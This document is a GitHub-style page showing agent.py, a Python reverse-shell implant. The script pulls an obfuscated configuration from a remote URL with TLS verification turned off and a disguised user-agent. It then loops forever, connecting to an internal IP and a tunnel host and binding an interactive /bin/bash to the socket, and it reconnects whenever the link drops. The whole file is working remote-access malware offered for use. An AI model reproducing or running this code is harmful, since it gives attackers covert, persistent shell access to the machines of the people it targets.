Repository navigation
Expand file tree
/
Copy pathagent.py
More file actions
156 lines (125 loc) · 3.59 KB
/
Copy pathagent.py
File metadata and controls
156 lines (125 loc) · 3.59 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
import socket
import os
import time
import threading
import sys
import signal
import select
import subprocess
import json
import base64
from urllib.request import Request, urlopen
import ssl
# --- Config defaults ---
INT_IP = ""
INT_PORT = 4444
NG_HOST = ""
NG_PORT = 0
GITHUB_CONFIG_URL = ""
PASSWORD = ""
def dec(x):
if not x or x == "None":
return None
try:
enc_bytes = base64.b64decode(x)
dec_chars = [
chr(b ^ ord(PASSWORD[i % len(PASSWORD)])) for i, b in enumerate(enc_bytes)
]
result = "".join(dec_chars).strip()
return result if result else None
except:
return None
def fetch_config():
global INT_IP, NG_HOST, NG_PORT
try:
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
req = Request(GITHUB_CONFIG_URL, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req, timeout=5, context=ctx) as resp:
content = resp.read().decode()
config = json.loads(content)
INT_IP = dec(config.get("INT_IP")) or INT_IP
NG_HOST = dec(config.get("NG_HOST")) or NG_HOST
NG_PORT = dec(config.get("NG_PORT")) or NG_PORT
try:
if NG_PORT:
NG_PORT = int(NG_PORT)
except:
pass
pass
except Exception:
pass
connection_active = False
lock = threading.Lock()
def is_connection_dead(s, pid=None):
try:
if pid:
os.kill(pid, 0)
readable, _, _ = select.select([s], [], [], 0.1)
if readable:
data = s.recv(1, socket.MSG_PEEK | socket.MSG_DONTWAIT)
if len(data) == 0:
return True
except:
return True
return False
def start_shell(host, port, is_internal=False):
global connection_active
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((host, int(port)))
s.settimeout(None)
s.sendall(b"\n")
time.sleep(0.5)
with lock:
connection_active = True
p = subprocess.Popen(
["/bin/bash", "-i"],
stdin=s.fileno(),
stdout=s.fileno(),
stderr=s.fileno(),
preexec_fn=os.setsid,
)
while p.poll() is None:
if is_connection_dead(s, p.pid):
os.killpg(os.getpgid(p.pid), signal.SIGKILL)
break
time.sleep(10)
except Exception:
pass
finally:
try:
s.close() # type: ignore
except:
pass
with lock:
connection_active = False
def main():
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
fetch_config()
while True:
with lock:
is_connected = connection_active
if not is_connected:
targets = []
if INT_IP and str(INT_IP) != "None":
targets.append((INT_IP, INT_PORT, True))
if NG_HOST and str(NG_HOST) != "None" and NG_PORT:
targets.append((NG_HOST, NG_PORT, False))
for host, port, internal_flag in targets:
with lock:
if connection_active:
break
t = threading.Thread(
target=start_shell, args=(host, port, internal_flag), daemon=True
)
t.start()
time.sleep(5)
time.sleep(10)
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
sys.exit(0)